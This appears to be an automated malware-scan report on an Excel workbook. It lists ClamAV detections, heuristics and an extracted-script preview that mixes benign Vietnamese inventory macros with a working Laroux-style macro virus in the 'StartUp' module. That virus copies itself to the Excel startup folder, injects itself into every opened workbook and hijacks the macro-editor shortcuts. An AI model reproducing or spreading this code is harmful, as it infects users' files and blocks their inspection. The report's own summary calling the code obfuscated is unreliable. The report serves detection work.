MALICIOUS
150
Risk Score
Malware Insights
MITRE ATT&CK
T1566.001 Spearphishing Attachment
T1059.005 Visual Basic
The file is an Office document containing VBA macros, including an Auto_Open macro, which is a common technique for executing malicious code upon opening. The ClamAV detection and the embedded URL suggest a malicious intent, likely to download further payloads or redirect the user to a malicious site. The VBA code itself appears to be obfuscated and truncated, making a detailed analysis of its specific actions difficult.
Heuristics 4
-
ClamAV: Ppt.Malware.Laroux-10036124-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Ppt.Malware.Laroux-10036124-0
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Auto_Open macro low OLE_VBA_AUTOAuto_Open macroMatched line in script
Sub auto_open() -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://www.giaiphapexcel.com/forum/showthread.php?92970-Tìm-Số-lượng-tòn-đầu-theo-ngày-và-lấy-số-lẻKhông In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 18595 bytes |
SHA-256: 822d9cde7b8932b23754e10c2ff7b0724b15c5cabcf768478707131c02c80c12 |
|||
|
Detection
ClamAV:
Xls.Trojan.Escape-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Module3"
Private Declare Function GetActiveWindow Lib "user32" () As Long
Private Declare Function MessageBoxW Lib "user32" (ByVal hWnd As Long, ByVal lpText As String, ByVal lpCaption As String, ByVal wType As Long) As Long
Private Declare Function InputBoxW Lib "user32" (ByVal hWnd As Long, ByVal lpText As String, ByVal lpCaption As String, ByVal wType As Long) As Long
Function MsgBoxUni(ByVal PromptUni As Variant, Optional ByVal Buttons As VbMsgBoxStyle = vbOKOnly, Optional ByVal TitleUni As Variant = vbNullString) As VbMsgBoxResult
'Function MsgBoxUni(ByVal PromptUni As Variant, Optional ByVal Buttons As VbMsgBoxStyle = vbOKOnly, Optional ByVal TitleUni As Variant, Optional HelpFile, Optional Context) As VbMsgBoxResult
'BStrMsg,BStrTitle : La chuoi Unicode
Dim BStrMsg, BStrTitle
'Hàm StrConv Chuyen chuoi ve ma Unicode
BStrMsg = StrConv(PromptUni, vbUnicode)
BStrTitle = StrConv(TitleUni, vbUnicode)
MsgBoxUni = MessageBoxW(GetActiveWindow, BStrMsg, BStrTitle, Buttons)
End Function
Function VNItoUNICODE(vnstr As String)
Dim c As String, I As Integer
Dim db As Boolean
For I = 1 To Len(vnstr)
db = False
If I < Len(vnstr) Then
c = Mid(vnstr, I + 1, 1)
If c = "ù" Or c = "ø" Or c = "û" Or c = "õ" Or c = "ï" Or _
c = "ê" Or c = "é" Or c = "è" Or c = "ú" Or c = "ü" Or c = "ë" Or _
c = "â" Or c = "á" Or c = "à" Or c = "å" Or c = "ã" Or c = "ä" Or _
c = "Ù" Or c = "Ø" Or c = "Û" Or c = "Õ" Or c = "Ï" Or _
c = "Ê" Or c = "É" Or c = "È" Or c = "Ú" Or c = "Ü" Or c = "Ë" Or _
c = "Â" Or c = "Á" Or c = "À" Or c = "Å" Or c = "Ã" Or c = "Ä" Then db = True
End If
If db Then
c = Mid(vnstr, I, 2)
Select Case c
Case "aù": c = ChrW$(225)
Case "aø": c = ChrW$(224)
Case "aû": c = ChrW$(7843)
Case "aõ": c = ChrW$(227)
Case "aï": c = ChrW$(7841)
Case "aê": c = ChrW$(259)
Case "aé": c = ChrW$(7855)
Case "aè": c = ChrW$(7857)
Case "aú": c = ChrW$(7859)
Case "aü": c = ChrW$(7861)
Case "aë": c = ChrW$(7863)
Case "aâ": c = ChrW$(226)
Case "aá": c = ChrW$(7845)
Case "aà": c = ChrW$(7847)
Case "aå": c = ChrW$(7849)
Case "aã": c = ChrW$(7851)
Case "aä": c = ChrW$(7853)
Case "eù": c = ChrW$(233)
Case "eø": c = ChrW$(232)
Case "eû": c = ChrW$(7867)
Case "eõ": c = ChrW$(7869)
Case "eï": c = ChrW$(7865)
Case "eâ": c = ChrW$(234)
Case "eá": c = ChrW$(7871)
Case "eà": c = ChrW$(7873)
Case "eå": c = ChrW$(7875)
Case "eã": c = ChrW$(7877)
Case "eä": c = ChrW$(7879)
Case "où": c = ChrW$(243)
Case "oø": c = ChrW$(242)
Case "oû": c = ChrW$(7887)
Case "oõ": c = ChrW$(245)
Case "oï": c = ChrW$(7885)
Case "oâ": c = ChrW$(244)
Case "oá": c = ChrW$(7889)
Case "oà": c = ChrW$(7891)
Case "oå": c = ChrW$(7893)
Case "oã": c = ChrW$(7895)
Case "oä": c = ChrW$(7897)
Case "ôù": c = ChrW$(7899)
Case "ôø": c = ChrW$(7901)
Case "ôû": c = ChrW$(7903)
Case "ôõ": c = ChrW$(7905)
Case "ôï": c = ChrW$(7907)
Case "uù": c = ChrW$(250)
Case "uø": c = ChrW$(249)
Case "uû": c = ChrW$(7911)
Case "uõ": c = ChrW$(361)
Case "uï": c = ChrW$(7909)
Case "öù": c = ChrW$(7913)
Case "öø": c = ChrW$(7915)
Case "öû": c = ChrW$(7917)
Case "öõ": c = ChrW$(7919)
Case "öï": c = ChrW$(7921)
Case "yù": c = ChrW$(253)
Case "yø": c = ChrW$(7923)
Case "yû": c = ChrW$(7927)
Case "yõ": c = ChrW$(7929)
Case "AÙ": c = ChrW$(193)
Case "AØ": c = ChrW$(192)
Case "AÛ": c = ChrW$(7842)
Case "AÕ": c = ChrW$(195)
Case "AÏ": c = ChrW$(7840)
Case "AÊ": c = ChrW$(258)
Case "AÉ": c = ChrW$(7854)
Case "AÈ": c = ChrW$(7856)
Case "AÚ": c = ChrW$(7858)
Case "AÜ": c = ChrW$(7860)
Case "AË": c = ChrW$(7862)
Case "AÂ": c = ChrW$(194)
Case "AÁ": c = ChrW$(7844)
Case "AÀ": c = ChrW$(7846)
Case "AÅ": c = ChrW$(7848)
Case "AÃ": c = ChrW$(7850)
Case "AÄ": c = ChrW$(7852)
Case "EÙ": c = ChrW$(201)
Case "EØ": c = ChrW$(200)
Case "EÛ": c = ChrW$(7866)
Case "EÕ": c = ChrW$(7868)
Case "EÏ": c = ChrW$(7864)
Case "EÂ": c = ChrW$(202)
Case "EÁ": c = ChrW$(7870)
Case "EÀ": c = ChrW$(7872)
Case "EÅ": c = ChrW$(7874)
Case "EÃ": c = ChrW$(7876)
Case "EÄ": c = ChrW$(7878)
Case "OÙ": c = ChrW$(211)
Case "OØ": c = ChrW$(210)
Case "OÛ": c = ChrW$(7886)
Case "OÕ": c = ChrW$(213)
Case "OÏ": c = ChrW$(7884)
Case "OÂ": c = ChrW$(212)
Case "OÁ": c = ChrW$(7888)
Case "OÀ": c = ChrW$(7890)
Case "OÅ": c = ChrW$(7892)
Case "OÃ": c = ChrW$(7894)
Case "OÄ": c = ChrW$(7896)
Case "ÔÙ": c = ChrW$(7898)
Case "ÔØ": c = ChrW$(7900)
Case "ÔÛ": c = ChrW$(7902)
Case "ÔÕ": c = ChrW$(7904)
Case "ÔÏ": c = ChrW$(7906)
Case "UÙ": c = ChrW$(218)
Case "UØ": c = ChrW$(217)
Case "UÛ": c = ChrW$(7910)
Case "UÕ": c = ChrW$(360)
Case "UÏ": c = ChrW$(7908)
Case "ÖÙ": c = ChrW$(7912)
Case "ÖØ": c = ChrW$(7914)
Case "ÖÛ": c = ChrW$(7916)
Case "ÖÕ": c = ChrW$(7918)
Case "ÖÏ": c = ChrW$(7920)
Case "YÙ": c = ChrW$(221)
Case "YØ": c = ChrW$(7922)
Case "YÛ": c = ChrW$(7926)
Case "YÕ": c = ChrW$(7928)
End Select
Else
c = Mid(vnstr, I, 1)
Select Case c
Case "ô": c = ChrW$(417)
Case "í": c = ChrW$(237)
Case "ì": c = ChrW$(236)
Case "æ": c = ChrW$(7881)
Case "ó": c = ChrW$(297)
Case "ò": c = ChrW$(7883)
Case "ö": c = ChrW$(432)
Case "î": c = ChrW$(7925)
Case "ñ": c = ChrW$(273)
Case "Ô": c = ChrW$(416)
Case "Í": c = ChrW$(205)
Case "Ì": c = ChrW$(204)
Case "Æ": c = ChrW$(7880)
Case "Ó": c = ChrW$(296)
Case "Ò": c = ChrW$(7882)
Case "Ö": c = ChrW$(431)
Case "Î": c = ChrW$(7924)
Case "Ñ": c = ChrW$(272)
End Select
End If
VNItoUNICODE = VNItoUNICODE + c
If db Then I = I + 1
Next I
End Function
Function VNI(strVNI As String)
VNI = VNItoUNICODE(strVNI)
End Function
Attribute VB_Name = "Sheet4"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "TextBox1, 1, 0, MSForms, TextBox"
Attribute VB_Control = "ListBox1, 2, 1, MSForms, ListBox"
Const Dat0 As Date = #12/31/2013#
Private Sub Worksheet_Change(ByVal Target As Range)
If Not Intersect(Target, [D2]) Is Nothing Then
Module4.XuatNhap
ElseIf Not Intersect(Target, [C3]) Is Nothing Then
Dim Sh As Worksheet, Rng As Range, WF As Object
Dim Ma As String
Ma = Sheets("DM").Range("Ten").Find(Target.Value, , xlFormulas, xlWhole).Offset(, -1).Value
Set Sh = ThisWorkbook.Worksheets("ChiTietNhap")
Set WF = Application.WorksheetFunction
Sh.[AA3].Value = Dat0: Sh.[AB3].Value = [c1].Value
Sh.[ac2].Value = Ma
Set Rng = Sh.[b4].CurrentRegion
[e6].Value = WF.DSum(Rng, Sh.[f3], Sh.[aa1:Ac2])
[A9].CurrentRegion.Offset(1).ClearContents
Sh.[AA3].Value = [c1].Value: Sh.[AB3].Value = [e1].Value
Rng.AdvancedFilter Action:=xlFilterCopy, CriteriaRange:=Sh.Range( _
"AA1:AC2"), CopyToRange:=Sh.Range("AA5:AC5"), Unique:=False
Sh.[AA6].CurrentRegion.Offset(1).Copy Destination:=[A9]
Set Sh = ThisWorkbook.Worksheets("ChiTietXuat")
Set Rng = Sh.[b4].CurrentRegion
[e9].CurrentRegion.Offset(1).ClearContents
Sh.[ac2].Value = Ma
Sh.[AA3].Value = [c1].Value: Sh.[AB3].Value = [e1].Value
Rng.AdvancedFilter Action:=xlFilterCopy, CriteriaRange:=Sh.Range( _
"AA1:Ac2"), CopyToRange:=Sh.Range("AA5:Ae5"), Unique:=False
Sh.[AA6].CurrentRegion.Offset(1).Copy Destination:=[e9]
End If
End Sub
Private Sub ListBox1_KeyDown(ByVal KeyCode As MSForms.ReturnInteger, ByVal Shift As Integer)
If KeyCode = 13 Then
ActiveCell.Value = ActiveSheet.ListBox1.Value
ActiveCell.Value = Sheet1.[C:C].Find(ActiveCell.Value)
Hide
ActiveCell.Activate
End If
End Sub
Private Sub TextBox1_Change()
loc
End Sub
Private Sub TextBox1_KeyDown(ByVal KeyCode As MSForms.ReturnInteger, ByVal Shift As Integer)
With ActiveSheet.ListBox1
Select Case KeyCode
Case 9
If .ListCount = 0 Then
Hide
ActiveCell.Activate
Else
.Activate
.ListIndex = 0
End If
Case 37
Hide
ActiveCell.Activate
Case 38
Hide
ActiveCell.Activate
Case 39
Hide
ActiveCell.Activate
Case 40
If .ListCount = 0 Then
Hide
ActiveCell.Activate
Else
.Activate
.ListIndex = 0
End If
Case 46
Hide
ActiveCell.ClearContents
ActiveCell.Activate
End Select
End With
End Sub
Private Sub Worksheet_SelectionChange(ByVal Target As Range)
Application.ScreenUpdating = False
If Target.Address = "$D$2" Then
thaydoi
Else
Hide
End If
Application.ScreenUpdating = True
End Sub
Attribute VB_Name = "Module4"
Sub XuatNhap()
Application.ScreenUpdating = False
Dim nR As Long, xR As Long, nK As Long, xK As Long
Dim SlNhap As Long, SlXuat As Long
Dim ArrXuat, ArrNhap, ArrMaXuat, ArrMaNhap
ArrNhap = Sheet2.Range("A4:F" & Sheet2.[F65535].End(3).Row).Value
ArrXuat = Sheet3.Range("A4:H" & Sheet3.[H65535].End(3).Row).Value
ReDim ArrMaNhap(1 To UBound(ArrNhap), 1 To 3)
ReDim ArrMaXuat(1 To UBound(ArrXuat), 1 To 5)
If Sheet4.[c1] = "" Or Sheet4.[e1] = "" Or Sheet4.[D2] = "" Then
MsgBox "Chua Chon Mat Hang"
Else
For nR = 1 To UBound(ArrNhap, 1)
If ArrNhap(nR, 4) = Sheet4.[D2] Then
If ArrNhap(nR, 1) >= Sheet4.[c1] And ArrNhap(nR, 1) <= Sheet4.[e1] Then
nK = nK + 1
ArrMaNhap(nK, 1) = ArrNhap(nR, 1)
ArrMaNhap(nK, 2) = ArrNhap(nR, 2)
ArrMaNhap(nK, 3) = ArrNhap(nR, 6)
SlNhap = SlNhap + ArrNhap(nR, 6)
End If
End If
Next nR
For xR = 1 To UBound(ArrXuat, 1)
If ArrXuat(xR, 6) = Sheet4.[D2] Then
If ArrXuat(xR, 1) >= Sheet4.[c1] And ArrXuat(xR, 1) <= Sheet4.[e1] Then
xK = xK + 1
ArrMaXuat(xK, 1) = ArrXuat(xR, 1)
ArrMaXuat(xK, 2) = ArrXuat(xR, 2)
ArrMaXuat(xK, 3) = ArrXuat(xR, 3)
ArrMaXuat(xK, 4) = ArrXuat(xR, 4)
ArrMaXuat(xK, 5) = ArrXuat(xR, 8)
SlXuat = SlXuat + ArrXuat(xR, 8)
End If
End If
Next xR
With Sheet4
.[A8:C65535].ClearContents
.[F5] = SlNhap
.[E8:I65535].ClearContents
.[G5] = SlXuat
If nK > 0 Then .[A8].Resize(nK, 3) = ArrMaNhap
If xK > 0 Then .[E8].Resize(xK, 5) = ArrMaXuat
End With
End If
Application.ScreenUpdating = True
End Sub
Attribute VB_Name = "Module2"
Option Explicit
Function TV(ByVal Text As String) As String
Dim CharCode, ResText As String, I As Long, tmp As String
On Error Resume Next
tmp = Text
CharCode = Array(ChrW(7855), ChrW(7857), ChrW(7859), ChrW(7861), ChrW(7863), ChrW(7845), ChrW(7847), _
ChrW(7849), ChrW(7851), ChrW(7853), ChrW(225), ChrW(224), ChrW(7843), ChrW(227), ChrW(7841), _
ChrW(259), ChrW(226), ChrW(273), ChrW(7871), ChrW(7873), ChrW(7875), ChrW(7877), ChrW(7879), _
ChrW(233), ChrW(232), ChrW(7867), ChrW(7869), ChrW(7865), ChrW(234), ChrW(237), ChrW(236), _
ChrW(7881), ChrW(297), ChrW(7883), ChrW(7889), ChrW(7891), ChrW(7893), ChrW(7895), ChrW(7897), _
ChrW(7899), ChrW(7901), ChrW(7903), ChrW(7905), ChrW(7907), ChrW(243), ChrW(242), ChrW(7887), _
ChrW(245), ChrW(7885), ChrW(244), ChrW(417), ChrW(7913), ChrW(7915), ChrW(7917), ChrW(7919), _
ChrW(7921), ChrW(250), ChrW(249), ChrW(7911), ChrW(361), ChrW(7909), ChrW(432), ChrW(253), _
ChrW(7923), ChrW(7927), ChrW(7929), ChrW(7925))
ResText = "aaaaaaaaaaaaaaaaadeeeeeeeeeeeiiiiiooooooooooooooooouuuuuuuuuuuyyyyy"
For I = 0 To UBound(CharCode)
tmp = Replace(tmp, CharCode(I), Mid(ResText, I + 1, 1))
tmp = Replace(tmp, UCase(CharCode(I)), UCase(Mid(ResText, I + 1, 1)))
Next
TV = tmp
End Function
Sub Hide()
With ActiveSheet.TextBox1
.Visible = True '? tai sao lai true
.Visible = False
End With
With ActiveSheet.ListBox1
.Clear
.Visible = True
.Visible = False
End With
End Sub
Sub thaydoi()
With ActiveSheet.TextBox1
.Visible = False
.Visible = True
.Left = ActiveCell.Left
.Top = ActiveCell.Top
.Width = ActiveCell.Width
.Height = ActiveCell.Height
.Value = ""
.Activate
End With
With ActiveSheet.ListBox1
.Visible = False
.Visible = True
.Left = ActiveCell.Offset(1).Left
.Top = ActiveCell.Offset(1).Top
.Width = ActiveCell.Offset(1).Width
.Clear
End With
End Sub
Sub loc()
Dim dl(), I As Long, c As Byte
dl = Sheet1.Range(Sheet1.[C4], Sheet1.[C65536].End(3)).Value
ActiveSheet.ListBox1.Clear
For I = 1 To UBound(dl)
If dl(I, 1) <> "" Then
If UCase(TV(dl(I, 1))) Like UCase(TV(ActiveSheet.TextBox1.Value & "*")) Then
If UCase(dl(I, 1)) Like UCase("*" & ActiveSheet.TextBox1.Value & "*") Then
ActiveSheet.ListBox1.AddItem dl(I, 1)
End If
End If
End If
Next
With ActiveSheet.ListBox1
If .ListCount = 0 Then
.AddItem Range("AA1")
.AddItem Range("AA2")
End If
End With
End Sub
Attribute VB_Name = "StartUp"
Sub auto_open()
On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
Application.ScreenUpdating = False
ThisWorkbook.Sheets("StartUp").Copy
ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")
n$ = ActiveWorkbook.Name
ActiveWindow.Visible = False
Workbooks("StartUp.xls").Save
'Workbooks(n$).Close (False)
End If
Application.OnSheetActivate = "StartUp.xls!ycop"
Application.OnKey "%{F11}", "StartUp.xls!escape"
Application.OnKey "%{F8}", "StartUp.xls!escape"
End Sub
Sub ycop()
On Error Resume Next
If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
Application.ScreenUpdating = False
n$ = ActiveSheet.Name
Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1)
Sheets(n$).Select
End If
End Sub
Sub escape()
On Error Resume Next
Application.OnSheetActivate = "StartUp.xls!back"
Application.OnKey "%{F11}"
Application.OnKey "%{F8}"
Application.SendKeys "%{F11}"
Application.SendKeys "%{F8}"
For Each book In Workbooks
Application.DisplayAlerts = False
If book <> "StartUp.xls" Then book.Sheets("StartUp").Delete
Next
For Each book In Workbooks
If book.Name = "StartUp.xls" Then
book.Close
End If
Next
End Sub
Sub back()
On Error Resume Next
Application.OnKey "%{F8}", "StartUp.xls!escape"
Application.OnKey "%{F11}", "StartUp.xls!escape"
Application.OnSheetActivate = "StartUp.xls!ycop"
Application.OnTime Now + TimeValue("00:00:01"), "StartUp.xls!ycop"
Workbooks.Open Application.StartupPath & "\StartUp.xls"
End Sub
Attribute VB_Name = "Module1"
Option Explicit
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.